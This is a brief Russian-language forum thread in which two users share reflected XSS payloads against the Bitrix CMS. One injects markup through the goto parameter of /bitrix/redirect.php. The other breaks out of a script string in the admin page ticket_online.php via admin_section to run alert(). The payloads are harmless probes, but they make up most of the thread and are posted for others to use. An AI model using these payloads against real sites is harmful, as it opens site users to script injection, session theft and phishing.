Кто ещё не знает про пассивную XSS в bitrix?

[_kREveDKo_]

http://site.net/bitrix/redirect.php?event1=pofig&event2=pofig&event3=pofig&goto="><h1>XSS
(или http://site.net/bitrix/"><h1>xexe)

ерунда, конечно, но всё-таки...
и я вновь и вновь извиняюсь, если это уже не свежая инфа...

[sabe]

тоже еще одна хсс в самой же админки после капчи
/bitrix/admin/ticket_online.php?ticket_id=1&owner_user_id=77&lang=&online_auto_refresh=999&admin_section=N'},17);alert()//